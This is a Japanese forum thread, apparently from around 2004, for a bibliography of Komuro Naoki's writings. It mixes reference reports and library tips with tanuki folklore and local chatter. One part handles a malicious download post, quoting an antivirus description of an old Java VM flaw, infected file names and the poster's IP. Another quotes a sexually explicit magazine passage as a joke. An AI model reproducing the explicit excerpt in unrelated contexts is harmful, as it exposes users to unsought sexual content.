この脆弱性の攻撃により、任意のプログラムが実行されてしまいます。実行されたコードに不正活動を行うための記述がある場合、システム改変などの攻撃を受けることがあります。これまでトレンドマイクロ製品ではこのセキュリティホールを狙ったコード単体での検出は行わず、これにより実行されるコードが危険であった場合に検出する対応をとってまいりましたが特別にお客様からの問い合わせが多い一部のコードを「JAVA_BYTEVER.A」の検出名で対応いたしました。
対応方法:
検出ファイルから製品の機能による「駆除」はできません。単純に削除してください。「JAVA_BYTEVER.A」のセキュリティホールによる被害を避けるためには以下のマイクロソフト社の説明をご参照の上、対策パッチの導入をお勧めします。
「Microsoft VM の問題により、システムが侵害される (816093) (MS03-011)」
該当のセキュリティホールが存在しない環境では被害を及ぼす可能性はありません。
逆に脆弱性が存在する環境では他の不正プログラムやアドウェア、スパイウェアの類が実行されてしまう場合がありますので必ず脆弱性の修正を行なってください。※マイクロソフト製品のセキュリティホール情報に関しましては Microsoft TechNet セキュリティセンター をご参照ください。
そして、感染していた四つのファイル名です。
BlackBox.class-14eb4b1a-22a6bc64.class
Dummy.class-41073102-2cd9ee98.class
VerifierBug.class-be52f18-25c60367.class
VerifierBug.class-be52f18-56a84883.classこれらのファイルは、Java関係に巣食うようです。
そのため、これらのファイルを削除するためには、
***********************************************
file:///C:/Documents%20and%20Settings/狸(PCの名前)/Application%20Data/Sun/Java/Deployment/cache/javapi/
***********************************************
と、「ファイル名を指定して実行」に打ち込む必要があります。MSのインターネット・エクスプローラーのcacheではありません。
Sunのジャバのcacheです。
タグが使えなくなるって?
道後温泉の近所に住んでいながら、不覚にも気がつきませんでした。
理屈が合っていますから、十中八九、間違いないでしょう。思うに、校長が狸なんですから、赤シャツも野だいこもうらなりも狸ではないでしょうか。
そしてマドンナはメス狸。生徒は子狸。要するに、坊っちゃんと山嵐以外はみんな狸でしょう。
漱石には、猫の視点で人間の世界を描いた小説があります。
それに対して、こちらは人間の視点で狸の世界を描いた小説だといえそうです。
しかも、その後、校長は日露戦争に軍隊狸として従軍していたとなると…。これは従来の漱石研究に一石を投じることになるかもしれません。
愛媛の狸は学校で校長先生をやってるもんだとばかり思ってました。
赤い服は同僚の先生から借りたのかもしれませんね。
殴られて改心したのでしょう。
昨日はsmさんのおかげで「狸が人を化かす」ということを思い出し、
「これからは気を引き締めて生きていかねばならないな」と思いつつ、
布団の中にもぐりこんだんですが…
しかし、妙な夜になりました。
いわゆる丑三つ時のことです。甲高い狸の鳴き声で、わたくしは目を覚ましました。
犬が尻尾を踏みつけられたような切ない鳴き声です。キャーン、キャーン、キャーン…。
「ありゃあ狸の鳴き声やなぁ。騙されんぞ。化かされんぞ。」
そう思いつつ、うとうととしておりました。そして、ふと気がつくと、
枕元に女の子が二人座っているようです。
声と音しか聞こえないのですが、どうも二人でお手玉をしているようです。数え歌と、シャッシャッシャッというリズミカルな音が聞こえてきます。
あの音はお手玉の中で小豆がすれる音なんでしょう。♪いちれつ談判破裂して
♪日露戦争となりにけり
♪さっさと逃げるはロシアの兵
♪死ぬまで尽くすは日本の兵
♪五万の兵を引き連れて
♪六人残して皆殺し
♪七月十日の戦いは
♪ハルピンまでも攻め入って
♪クロポトキンの首を取り
♪東郷大将ばんばんざいそして、なにやら愛媛の狸が日露戦争で活躍したことを話しておりました。
「あんな、伊予のたぬきさんがな、ロスケを化かして兵隊さんを助けとるの知っとる?」
「ほうよ、ほうよ。乃木将軍もよろこんどるゆうてうちのお婆ちゃんがいいよったなぁ。」
「……。」
「…。」記憶はそこでプッツリと途切れるのですが、
朝からどうも気になってしかたありません。一体そんなことがあったのか?
狸が日露戦争で活躍した話など聞いたことがありません。「まったくあほらしい」とも思いました。
しかし他方で「もしや…」という思いもありました。そこで、インターネットで調べてみることにしました。
そして、まことに驚くべきことに、このような記事を見つけました。
(以上、Webサイト『死せる魂の会』より引用)
【軍隊狸】○戦場に赴き、日本軍を影で支えた狸たちのこと。
○当時の日本軍、道理で強いわけです。なんというか、メンタル面で。
事例1 愛媛県周桑郡壬生川町 松谷みよ子氏の話
伊予の喜左衛門狸は日露戦争に出征した。小豆に化けて大陸を渡り、上陸するとすぐ豆をまくようにパラパラと全軍に散り、赤い服を着て戦った。敵将クロパトキンの手記には「日本軍の中にはときどき赤い服を着た兵隊が現れて、この兵隊はいくら射撃してもいっこう平気で進んでくる。この兵隊を撃つと目がくらむという。赤い服には、○に喜の字のしるしがついていた」と書かれている。事例2 香川県高松市 室津源太郎氏の話
日露戦争の時、高松のじょうがん寺の狸の総指揮の元、狸たちが出征した。兵隊に化けて山を作り、ロシア兵が登るなり山をひっくり返したりした。凱旋の時には狸までが提灯行列をしたという。事例3 中国上海中支派遣軍八一〇一部隊 松谷みよ子氏の話
昭和十五年冬。柳橋という場所で友軍の一個小隊が敵軍に包囲されて全滅に瀕しているという報告が入り、K氏所属の一個小隊は待機を命じられた。その後Kさんと戦友三名が偵察の命を受けた。小高い丘で動き回っている敵軍を発見し、報告に引き返そうとした途端に銃撃を受け、気がついた時には大陸の広野の果てしない暗闇の中に震えていた。その時、一人の戦友が「あっ提灯」と叫んだ。Kさんが振り向くと、目の前には懐かしい大三島神社の定紋入りの提灯の明かりがあった。「五六だぬきや、五六さんが氏神さんの提灯持って迎えにきてくれたか」そういって提灯の後をついて走り、無事に帰りつくことができた。○いずれも『現代民話考(松谷みよ子 立風書房)』より
○どれも大好きな話です。『平成狸合戦ぽんぽこ』も形無しですね。
とにかく驚きました。
そして、深く反省しました。あの女の子たちが話していた愛国タヌキは実在したのです!
もしかしたら、ウチの庭を荒らすあの七匹のタヌちゃんは喜左衛門狸の子孫かもしれません。わたくしはこれまで通りタヌちゃんを擁護しなければならない。
「化かされてもいい。たくましく育って欲しい。」
そう思う今日この頃です。
smさん、そうでした。
わたくし、あの可愛らしい顔にだまされて、
狸が人を化かすことをすっかり忘れていました。この小首をかしげるような仕草など、
Victor の“HIS MASTER'S VOICE”犬、ニッパー君を彷彿とさせる可愛さですから。
![]()
最近では家族がみな狸を毛嫌いしているのに対して、
わたくしは、孤軍奮闘、たった一人で狸を擁護してきました。「たしかに庭を荒らしたり、草履を隠したりしよる。
ほうじゃけどな、なんにも悪気があるけんするんじゃないんよ。
餌不足のせいや。本能的行動や。」
そう、諄々と説いてきました。しかし、ふと考えると、狸を擁護して何の得になるわけでもありません。
一体、わたしは何のために狸を擁護してきたのでしょうか?
もしかして、すでに化かされていたのでしょうか?これからは気をつけて化かされないようにしたいと思います。
副島系レンタル掲示板を拝借している以上、
冷酷な事実のみを見つめて生きていかねばなりません。
グローバリストに化かされるならともかく、
タヌキに化かされるなんて恥ずかしくてとても口外できませんから。折も折、朝日新聞のインターネット版を見ておりましたら、
鳥取でも狸の可愛さに騙されている人々がいるようです。
そこで、自戒とともに世に警鐘を鳴らす意味で貼り付けておきます。
きっと見物客の何人かはすでに化かされてしまっていることでしょう。以下、「asahi.com MY TOWN 鳥取」から引用します。
(以下、引用。)
(以上、引用。)
『タヌキさん よかったね』
住民ら助け出す
鳥取・天神川の中州5日午前9時ごろ、鳥取市立川町5丁目の天神川の中州にタヌキが取り残されているのを、散歩中の住民が見つけた。
=写真
タヌキは体長40センチほど。コンクリート製の岸は高さが1・5メートルほどあり、川に入ったまま上がれなくなったらしい。
住民から連絡を受けた鳥取保健所の職員と住民が、発見から約1時間半後に網を使ってタヌキを救出。橋の上から見守っていた住民たちも「よかった、よかった」と、ほっとした様子だった。
現場付近は住宅地だが、時々庭先などにタヌキが姿を見せることがあるという。助けられたタヌキはけがもなく元気で、山に放された。
(10/6)
狸は人を化かすので気をつけてください。
タヌちゃん、激写しました!
でも、残念ながら三匹だけ。画面をクリックすると、アップ画像が出ます。
![]()
メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:10:01 17:47:13 画像の幅 x 高さ (容量) 640x480 (76 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 三匹いるの、わかります?
![]()
メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:10:01 17:48:48 画像の幅 x 高さ (容量) 640x480 (76 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 一匹はチラッと顔を見せただけで、
スッと藪の中に消えていきました。
![]()
メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:10:01 17:49:37 画像の幅 x 高さ (容量) 640x480 (77 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 あれ、鼻が白いということは、もしかして……
これ、タヌキじゃなくってハクビシンじゃないか、と。ま、細かいことは気にせずに「三匹のタヌちゃん」ということでお願いします(笑)。
>航空自衛隊連合幹部会・発行
>「翼」初夏号(No.34)平成16年6月(p29-48)
>「私の防衛論 イスラム教とキリスト教の決定的な違い」情報ありがとうございます。
国会図書館への照会の結果、28(初夏)(通号 74)2004.6
となっています。(No.34)というのは、どういう番号なのでしょうかね。
内容は、イスラム教についてコンパクトにまとめられたものですが、雑誌論文としては久しぶりに長いものです。
p30の一部を引用します。
「この度、南崎編集長の依頼により我が自衛隊の「サマワ復興支援」のために、当地の人々の持つ宗教と行動様式の判断に役立てる様、キリスト教との比較対比に於いて、イスラム教の本質を解き明かしてみた。参考に興すれば幸いである。」
掲示板に投稿するのを我慢するのは、
息を止めるのに似てなかなか息苦しいですな。
☆まずは、通りすがりさん。
『翼』誌の情報ありがとうございます。
確実に一般文献になる情報です。
番号は 2004007 となると思います。(小野寺さん、また、ですか…。)
☆それから、小室直樹文献目録のコンテンツについて。
「本棚」を「形態順」と「発行順」の2パターンつくってみました。
☆また、昨日の悪意ある投稿について。
「気軽にではなく重たい気持ちで書く掲示板」で、須藤さんが書かれておられた通り、
ウイルスバスターオンラインスキャンをしてみました。その結果、いくつかのウィルス感染ファイルが見つかりました。
ウィルス対策ソフトを買うとお金がかかるので、手作業で削除しました。そこで、私のとった削除方法について記しておきます。
*************************************************
(1)上記スキャンすると、ウィルスに感染したファイルの場所が表示される。
(2)そこで、Windowsの場合、左下の「スタート」→「ファイル名を指定して実行」を押す。
(3)「ウイルスバスターオンラインスキャン」の結果の欄をみながら、
「ファイル名を指定して実行」の「名前」欄に、感染ファイルの存在するフォルダの場所を書き込む。
(例)file:///C:/Documents%20and%20Settings/村上/Local%20Settings/Temporary%20Internet%20Files/Content.IE5/***/*****/
(4)「OK」ボタンを押して、フォルダ内を表示する。
(5)感染ファイルを見つけて、削除する。
*************************************************一番楽なのはウィルス対策ソフトを購入することなんですけどね。
あたしゃ貧乏ですから。
もしかしたら、昨日、午後12時40分から15時くらいまでの間に、
当掲示板をごらんになられた方で、
ウィルス対策ソフトを導入されておらず、
かつ、アクセス時に妙なポップアップが出てしまった方のPCは、
ウィルスに感染しているかもしれません。お心当たりがありましたら、一度ご確認くださいませ。
☆さて、あとは雑談。
こちら動物王国では、また台風でして。
今、外は暴風雨ですわ。
それにしても、先日の台風18号はひどかった。あの暴風雨のせいで庭の柳の巨木が倒れました。
![]()
しかも、隣家の屋根に バシーンッ!と「技あり!」
見事、打ち壊してしまいました……。
![]()
今回の台風は穏やかだといいんですが。
それから、タヌキの「タヌちゃん」なんですが…。先日、タヌちゃんのご自宅を破壊した件はお知らせしましたが(ログ[3399]参照)、
きっと、あの非“タヌキ道”的な迫害行為のせいでしょう。最近、タヌキが七匹の大群となって庭を荒らしはじめました(涙)。
![]()
小室本風にいえば、こりゃ
『タヌキ帝国の逆襲』ですわ。いや、数もちょうど七匹。
『七匹の狸』か。
まさに映画にでもなりそうな話です。「勝負はこの一噛で決まる!」
なぁーんて、志村喬似のタヌキが叫んでそうです。
そのうち、激写して掲示板に貼り付けたいと思います。しかし、ですなぁ。
七匹にもなると、ちょっとコワイですよ〜〜。
闇夜にランランと7×2個の目が光るんですから。
そういうわけで、図らずも愛しのタヌちゃんと敵対してしまった今、
動物王国でのわたしの最近の楽しみといえば、イチローの安打記録くらいです。イソーローの唯一の楽しみが、イチロー。
…おあとがよろしいようで。
「若人のための戦争学(仮)」(PHP研究所)ですが、
出版社の事情により、発売が無期延期となりました。というメールがイーエスブックからきましたね。
「宰相論」に続き、またですね。予想してましたが。PHPはどうしたんでしょうね。確実になってから予約受付すればいいのに。
どうもどうも。たしかに、あれ、
“復活の呪文”だったんです。が、しかし…。
後から鏡で自分のツラを見ながら考えるに、
サリーちゃんの
“マハリクマハリタ!”
はマズかった。むしろ、悪魔くんの
“エロイム エッサイム”
だよなぁ〜、と反省しました。
管理人さまそうでしたか。安心しました〜。
余計なリクエストだったようで、済みませんでした。
“復活の呪文”というギャグなのか、これは。と作業中に和んでしまいました。どうも。
ありゃー、こちらこそすみません、須藤さん。
余計なご心配をおかけして。
というのは、あれは管理人自身が消去したんです。なぜ、わたし自身が削除したのかと申しますと、――。
まず、一連の投稿が無事削除されていくのを見まして、もはや不要と思ったこと。
それから、管理人が投稿を自粛している今日この頃ですので…(笑)。
>可能でしたら復活させて下さい。では、復活させましょう!
“マハリクマハリタ!”
9月28日 午後12時40分頃。
副島系レンタル掲示板に、(多分)悪質な投稿あり。
自動的に何らかのソフトをDLさせるようになっている。
*************************************
[ 投稿主 ]
●IPアドレス 67.15.54.16
●ホスト名 ev1s-67-15-54-16.ev1servers.net
●IPアドレス割当国 ※ アメリカ合衆国 (US)
*************************************
以下、「小室直樹文献目録」掲示板での対応方法を記す。(1)掲示板の画面が表示されると、直ちに「×(中止)」ボタンを押す。
これにより、DL用のポップアップを遮断できる。
(2)[管理者用]リンクから管理モードに入り、該当投稿を削除。
(3)上記IPアドレスからのアクセスないし投稿を禁止。
管理人様副島系の掲示板全体への悪意の投稿について、各掲示板への対応中に誤って「対応の説明」を記した管理者の投稿まで削除してしまいました。
大変申し訳ありません。
状況説明は後ほど私共でもいたしますので、当掲示板の管理者のご説明は、無理でしたら復活されなくても結構です。
可能でしたら復活させて下さい。
みなさんはじめまして,CUN SHANG です.
関連文献の報告です.
広瀬和子,1972,「社会体系分析の基礎」『法社会学講座4』岩波書店
p.60,61,81川島武宜,1972,「『法』の社会学理論の基礎づけ」『法社会学講座4』岩波書店
p.352富永健一,1975,「構造と機能」『社会学セミナー1』有斐閣
p.68,73中山慶子,1975,「社会学における数学的方法」『社会学セミナー1』有斐閣
p.93,96,97見田宗介・栗原彬・田中義久編,1994,『〔縮刷版〕社会学事典』弘文堂
p.190,191,284,285,1030(該当部分の執筆:宮台真司)
ご確認をよろしくお願い致します.
近著「新・戦争論」の内容は1981年当時「新・戦争論」の内容構成に基づき加筆したとすれば、昨今のアメリカの軍事政策を踏まえて、小室直樹先生は、国際法の観点から見た理論を第一義とする以上に、現況に即し新たに仮説として二十一世テロ国家アメリカの顛末あるいは正義の番人アメリカの不動を加筆するのでしょうか。どうおもわれますか。もう一度旧版を読んでみようと思います。
航空自衛隊連合幹部会・発行
「翼」初夏号(No.34)平成16年6月(p29-48)「私の防衛論 イスラム教とキリスト教の決定的な違い」
という小室先生の論文が載っています。
「いま日本人に愛国心はあるか!」
宮台真司VS副島隆彦
Flash 光文社 2003.4.22 p37
みなさんこんにちは,児島です.関連文献の報告です.
佐藤勉,1971,「社会学的機能主義の研究」恒星社厚生閣,¥1500
引用:p.5,15,125,157,260
文献:p.12,26,88,135,175,218,265いつもすみませんが,ご確認をよろしくお願い致します.
>2ch:社会学板の小室直樹統一スレ(別の場所を開こうとした)が見えたので読んだら私への批判が出るのは当然として,良く分からないがいますね.私のことですか?
公立校だから制度変更で共学になったのかと思いました.
私のいたところでは,上位校は公立の男女別学って感じでした.今も多分そのままです.
高校野球は殆ど目に留めていませんでした.
P.S.
2ch:社会学板の小室直樹統一スレ(別の場所を開こうとした)が見えたので読んだら私への批判が出るのは当然として,良く分からないがいますね.
負けるとやはり残念でした、不思議と。
これも郷土愛の一種なのかな。見ていて面白い、いい試合してましたしねぇ。
私はカーラジオで聴いていましたから、「聴いていて」でしたが。しかし、済美野球部にはスキャンダルもいろいろあるようですわ。
すごい試合でしたね。久しぶりに甲子園の決勝を見ました。
児島さん、テッドさん、情報まことにありがとうございました。
一般文献の数も590です。もうすぐ600ですなぁ。
情報をご提供してくださる方々のおかげでございます。
どうもありがとうございます!さて、今回追加したのは以下2点です。
(1)1975012 意思決定
(2)2004006 天皇と近代的王との違いそれにしても、児島さんの情報はすごいですなぁ〜。
また、同書には、小室直樹博士と関係の深い中山慶子さんによる「社会学における数学的方法」も載っています。
これなんて、小室直樹筆、としてもまったく違和感のない内容です。
2001009 『数学嫌いな人のための数学 数学原論』 221〜223頁と同様の記述がありますし。
ところで、春の高校野球で初出場初優勝、
現在進行形の高校野球でも強い済美高校(愛媛・松山)。
その写真です。
私が高校時代、サイビは女子高だったんですよ。
いやぁ、サイビにボーズは似合わんなぁ。
私の青春の思い出をボーズで塗り替えないで欲しい…。
![]()
![]()
済美とは関係ないけれど、近くのドライブスルー郵便局。
ちょっと珍しくないですか?
そして、看板の裏に見える鳥居。
憲法訴訟で問題になったアノ愛媛県護国神社の鳥居です。
>ネットでの9月号の目次には小室直樹の「小」の字もないですから。実際の目次にもないですよね。
レジにだすまでに確認に時間がかかってしまいました。
女子アナの悪口がおもしろいですね(笑)
BRUTUSに掲載されていた篠山紀信「人間関係」シリーズが3分冊となって発売されております。BRUTUSの掲載分は、すでに関連文献目録1999101として目録に掲載しています。
その小室直樹・宮台真司両博士が、安田講堂前で右と左を向いている写真。
今回の3分冊では、黄色い表紙の「人間関係2」に載っています。
1,500円。今度は「激写」で小室直樹博士を撮影して欲しいな…。
テッドさん、情報ありがとうございます。サイゾーですか。
ありそうでなかった、サイゾーですなぁ。
これまでは、宮台さんと宮崎さんの対談中で、「小室直樹」というお名前が出てきました。
しかし、あくまで関連文献でしたので、今回の情報は画期的です。
でも、サイゾーさん、もーすこし扱いを大きくしてもいいのに。
ネットでの9月号の目次には小室直樹の「小」の字もないですから。
話は変わりますが、サイゾーって扇情的な表紙になりましたね。
前の地味な表紙よりは、個人的には好きです(笑)。
新文献を見つけました。
サイゾ― 04年09月号小室直樹先生の集中講義
「天皇と近代的王との違い」知っているようでいて、実はよく知らない<天皇>。天皇とヨーロッパの王はどこが違う?
天皇制は、日本の近代化の素だった!?
小野寺さん有難うございます。児島さん・村上さんもご配慮いただき有難うございます。図書館を利用するのはほぼ受験勉強以来となりそうです。しかし考えて見ますと、情報の収集はその方法・活用を「知る・知らない」で恐ろしいまでの差を生みますね。とても勉強になりました。
皆さんに追いつくように、まず「構造ー機能分析」を学びたいと思います。ご教示いただけるようでしたら、何でもお願いいたします。
わたしは先日まで国会図書館に自転車でいける距離におりました。
そのため、ひとしさんのお役に立てる情報はないのが残念です。それが、今では四国。
小野寺さんの書き込み、わたしにも勉強になりました。
大宅壮一文庫が郵送複写サービスをしていたのは知らなかったなぁ。
大宅壮一文庫では、『週間プレイボーイ』などの週刊誌を綴じてないのがいいですよね。児島さんの情報、久々の本格(学術)的文献ですね。
すごいです。
こちらでは愛大 の図書館にあるようです。
愛大の図書館は学食とともに、ちょくちょく利用しています。
学外者でもカードを作れば、貸し出しできるのが素晴らしいです。
>この点に関しては小野寺さんにお譲りしたいと思いますが、どうでしょうか、小野寺さん?今回、児島さんが報告された文献の例でご説明しましょう。
まずは、近くの市町村立図書館で調べます。今はインターネットで蔵書検索ができるところが多くなっていますね。
こういう学術書は、ちょっとしたところにはありませんね。
この時点で、公共図書館を通じて国会図書館から本を借りる制度があります。しかし、これはその図書館の中で閲覧コピーしかできませんし、送料の負担があるかもしれません。
次に県立レベルならあるかもしれませんので、一応近くの図書館を通じて県内のすべての図書館の検索を依頼します。どこかの図書館にあれば図書館同士の相互貸借によって借りることも出来ます。これは実際に借りられます。
ただし、その地域のやり方が違うかもしれませんので、確認してからにしてください。
次に、それでもなければ、国会図書館からインターネットを通じて郵送複写を申し込むことができます。
まず国会図書館のHPから検索し、複写を申し込む場合は、その前にID登録が必要です。もちろん有料です(登録は無料)。くわしくは、こちらを。
http://opac.ndl.go.jp/index.html今回の場合だと、ちゃんとありますね。
そして180〜200頁というページがはっきりしていますので、だいじょうぶですね。ページがわからなくても、該当箇所の題名などがはっきりわかればだいじょうぶです。
そのほか、雑誌類は大宅壮一文庫があります。学術書はあまりありませんが。
http://www.oya-bunko.or.jp/siryo0.htmあと都立図書館は蔵書も豊富で、国会図書館より安いのでよいのですが、都民以外のかたは、メールによる受付はしないとのこと。
http://www.library.metro.tokyo.jp/16/index.html
これでこの目録のほとんどの文献はそろいます。
あとは、古本屋などでみつけられる学術文献もあります。それ以上は、執念としかいいようがありませんな(笑)
ここでも,前に,裁判は真実を明らかにするためにあるとか,そういう反論が出ていましたね.
それと,日本では建前は公判中心なのに実態は調書裁判だとか,そういう話なんかを前に“司法腐敗”(山口宏著)などで読んで慄然としています.数年前にロッキード裁判論争をして,裁判制度一般の問題についての論点で,調書の方が真実が分かると考えている御仁が人の言う事も聞かずに滔滔と自分の主張ばかり述べたてるのに嫌になったものです.
ロッキード裁判論争当時,諸君の“立花氏の論に至っては”という文の載っている論考で,小室直樹博士も同じような事を言っていたようですね.
日本の裁判では共犯者の自白調書で被告人を有罪に出来るようになっている,とんでもないとか.
(“田中角栄の真実”“田中角栄 消された真実”(木村喜助著)を読むと,弁護人も嘱託尋問調書に関して反対尋問権を主張したようなので,判事も弁護人も被告人の反対尋問権をに触れなかったという点は,嘱託尋問調書の証拠採用の決定理由書に基づいた石島泰論考に乗っかったものと解さないと間違いになるでしょうけど.)
“田中角栄の遺言”でも,日本には裁判所がないといって,検事と判事が同じ共同体を作って被告人を疎外していてチェック機能が働かないとも言っていましたよねえ.(後,法解釈権を官僚が握っているとか.)
P.S.
http://homepage.mac.com/biogon_21/iblog/B1604743443/
での議論で負けています.
最後の方(題名に雑記1と書いてあるやつ)で私が言った,“角栄憎しの空気で”(この存在は信じるが)“学問的良心がねじ曲げられた”云々というのは,私自身が当該コメントで最後に認めているが如く反証可能性がなくて証明になりませんけど(私はふざけすぎか?),そのように読めないものでしょうか?“だったらそんな事言うな”という反応ではなく“証明しろ”という反応が返って来たもので…
たびたびすみません、児島です。新文献の報告です。
[ 主題 ] 社会学セミナー1
[ 副題 ] 社会学原論
[ 著者 ] 小室直樹
[ 分類 ] 一般論文
[ 誌名・シリーズ名 ]
[ 号数 ]
[ 価格 ] -
[ 出版社 ] 有斐閣
[ 発行年月日 ] 1975年
[ 頁数・該当頁 ] 180〜200頁
[ ISBN ] -「9章 意思決定」を執筆されています。
意思決定論の論理を社会行動論の立場から論じているようです。
ご確認お願い致します。追記:[3420]の表記が見にくく、申し訳ありませんです。
>まず小室先生の本は一般書に関してはほぼ9割がた所有して読み返しており>ます。その読書歴も25年ぐらいになりました。読み返すたびに新鮮です。>最近は「読書」から「学問」レベルにしたくて構造と機能を中心に調べてお>ります。
これはこれは、失礼しました。
私なんぞよりも遥かに「小室学」に対しては先輩でらっしゃるのですね。
学問へのレベルアップとのことですが、私も小室社会学を現在の社会学の文脈でとらえるとどのような位置付けになるのか、ということを考えつつ文献を読み直しています。
構造と機能ということですが、小室先生の「限界機能」などの概念が持つ意味を今日の学問の文脈であたらめて考えることは、きわめて重要であると思います。>そこで学術的文献になりますが、当方は地方在住のため図書館等の利用法>(中央にある文献のコピー・郵送など)が判りません。地方からも可能なので>しょうか?
この点に関しては小野寺さんにお譲りしたいと思いますが、どうでしょうか、小野寺さん?
児島さん有難うございます。ひとしです。まず小室先生の本は一般書に関してはほぼ9割がた所有して読み返しております。その読書歴も25年ぐらいになりました。読み返すたびに新鮮です。最近は「読書」から「学問」レベルにしたくて構造と機能を中心に調べております。
そこで学術的文献になりますが、当方は地方在住のため図書館等の利用法(中央にある文献のコピー・郵送など)が判りません。地方からも可能なのでしょうか?
「痛快!憲法学」は読みました。「(正常)機能しない構造(憲法)はもはや死んでいる」という様に理解しました。
はじめまして,ひとしさん.
児島と申します.>小室先生の文献がほしいのですがその方法をご教授いただきたいのです。よろしくお願いいたします。
小室先生の文献と一口に申しましても,いろいろあります.
近年書かれた一般書籍の文献でしたら,(オンライン)書店などで入手可能です.
また,学術的文献を読みたいとのことでしたら,国会図書館・各地自治体図書館・大学図書館の書庫に蔵書されています.小室先生の文献は量が膨大ですので,どのような内容を読まれたいのか(一般評論なのか,専門的文献なのか)を明確にしてから,文献探索に当たられるとよろしいかと思われます.
ひとしさんは小室先生の文献を読まれるのは初めてでしょうか?
もしそうでしたら,手始めに「痛快!憲法学」(集英社インターナショナル)を一読されるのをお勧めいたします.
ひとしと申します。小室先生の文献がほしいのですがその方法をご教授いただきたいのです。よろしくお願いいたします。
>鷲田小彌太「学者の値打ち」ちくま新書
>ちくま書房 2004年7月10日発行
>ISBN4-480-06180-0
>定価 720円(税別)>「第八章 アカデミズムとジャーナリズム」に項を設けて小室先生について論じています.
児島さん、情報ありがとうございます。確認しました。「アカデミズムとジャーナリズムの絶対矛盾的自己統一−小室直樹」
p165-167
みなさんこんにちは,児島です.関連文献の報告です.
鷲田小彌太「学者の値打ち」ちくま新書
ちくま書房 2004年7月10日発行
ISBN4-480-06180-0
定価 720円(税別)「第八章 アカデミズムとジャーナリズム」に項を設けて小室先生について論じています.
確認のほど,よろしくお願いします.
>(1)1984045 「管理社会」を打破するために、受験社会をぶっつぶし、校内暴力を助長せよ。これだけの刺激的な引用がある文献の個別ページを開いてみると、「小野寺さんからの情報」とでているのがなんか恥ずかしくなってしまいますね。(笑)
私のところにはまだ、国会図書館からのコピーが発送されていないようなんです。待ち遠しくなってきました。
愛媛では、多分初めての改訂です。
まるで「童貞を失ったような気持ち(落合信彦)」です。(1)1984045 「管理社会」を打破するために、受験社会をぶっつぶし、校内暴力を助長せよ。
![]()
ちょっとだけ、引用。
スタンディング・ポーズでのペッティングは、ベッドの上よりもバリエーションが狭められるだけに、より高度なテクニックが要求される。それに、なによりも女のコの“ためらい”が難敵なのだ。キミの部屋の中やホテルと違って、彼女はなかなかソノ気になれない。ためらう余裕を与えず攻めまくることがポイントだ。しかも、その動作がスムーズでないと、「イヤ、わたし帰る」てなことになってしまう。彼女をやさしく包みこんであげる気持ちが大切だ。
ふむふむ。
まず、しっかりと彼女を抱きよせることだ。唇をあわせたら、タイミングよく胸をタッチング。
ほぉほぉ。
タッチングですか。
昔、『まいっちんぐマチコ先生』ってのもありましたな。
これで嫌がらないようなら、第一次攻撃は成功だ。腕を腰にまわし、スカートをたくし上げる。キスのお熱がますます高まるようなら、もうOK。ためらわず太腿、ヒップへと指をはわす。ひとたび火がつけば、エクスタシーの高まりは、ベッドの上よりもずーっとはやく、激しいのだ。電撃戦 ですな。
後ろから前から愛撫し、ストッキング、そしてパンティの中へ。
うほうほ。この文献はやけにエロいですな。
脱がせの基本テクニックが要求されるところだが、首すじから胸もとへのキス、そして「好きだよ」のひと言も忘れないよーに。
キャー!はずかしぃー!
無理、むり。絶対言えない。
スタンディング・ポーズを自然にできるように、男のムードも磨いておこう。彼女からの信頼感も大切なんだ。たぎる情熱の抱擁からすべてが開かれてゆく……。
あ…。
これは「誰も教えてくれなかった炎のペッティング術」だった。
引用するところ、間違えちゃった。
えへへ。
![]()
(3)1994013 井沢元彦・小室直樹「怨霊が支配する国 日本」これは画像追加。近くの古本屋で300円で売ってました。
議論に負けているので,かなりぐったりしています.
ネットにつなぐのさえ散漫になっていますからねえ.
その癖,田中角栄氏の弁護人の本を読み返して,嘱託尋問調書が読み上げられた時に嘱託反対尋問を請求していた(その次が遅すぎたという請求)という話にぶつかったりしていますけど.
1974003,1975001,1976001のその後の研究がでていますね。
>可能性は否定出来ません.
今の私は全論点を隈無く書き込むには体力不足なので,返信する論点より無視する論点の方が多くなっていますので.Angelixさん、余計なことをいうようで申し訳ないんだけど、この書き込みは、誰に向けてのものなんですか?内容からみて相手様に対するものだと思うんですが、それでしたら相手様のところに書き込まれたらいかがでしょうか。それともこの掲示板をご覧の方への何かメッセージですか。
どっちみち相手様も今はこれをご覧になってまたなにか書かれると思うんですが。
もちろん、ご覧の方々が読みたいということであれば結構ですが、最近のAngelixさんはちょっとお疲れのような気がします。こちらの掲示板に何を求めているのかわかりません。
以前「法律系掲示板」に書き込んだというようなことを書かれて、それがこの掲示板だととられているようですが、そうだったんですか?私は副島系の法律専門のところかと思ってたんですが。ここは法律系ということではないですよね。
とにかく、管理人さんも虹の写真をのせたり、Maysonさんも一歩さがってあのように気分をかえようと気を使っておられるのですから、ちょっと流れをお察しいただけたらと思います。いかにも日本的ですみませんが、もともとここは文献探索のHPなので。
すみませんね、もちろんAngelixさんの信念がかわらなければ、そのままお続けください。
須藤さん、どうもありがとうございました!
例のブロガーに,>大体,例示であるという前提に立っても影響がないと反論したのに,その後に及んで例示であるというのが通説だと示すだけで有効な反論をした気になるとは呆れて物が言えぬ.
は全く事実に反すると言われました.飛ばし読みして読み飛ばしてしまった可能性は否定出来ません.
今の私は全論点を隈無く書き込むには体力不足なので,返信する論点より無視する論点の方が多くなっていますので.
(転載はじめ)
☆須藤さん、まことにお手数ですが、現在の7.htmlをこちらの7.htmlに入れ替えておいていただけないでしょうか。
よろしくお願いしますm(__)m。
(転載おわり)ご指名恐縮です。入れ替えましたので、ご確認下さい。
お勉強頑張って下さい。
>ついに発見!完全、復活(ただし、[1]〜[21]を除く)!!
失われていた掲示板の過去ログ[937]〜[1043]です。みつかりましたか、よかったですね。
>小野寺さん初登場は「ナターシャ」関係だったんですね(笑)。
思い出しました。この月からネットをはじめてこのサイトをみつけましたが、最初は怖くて、管理人さんがどんな人かもわからず、とりあえずメールで情報をつたえました。
そしていつ掲示板に書き込もうかと思って、もじもじしていましたが、あれがきっかけでしたね。あいさつもしないで入ってしまいました。
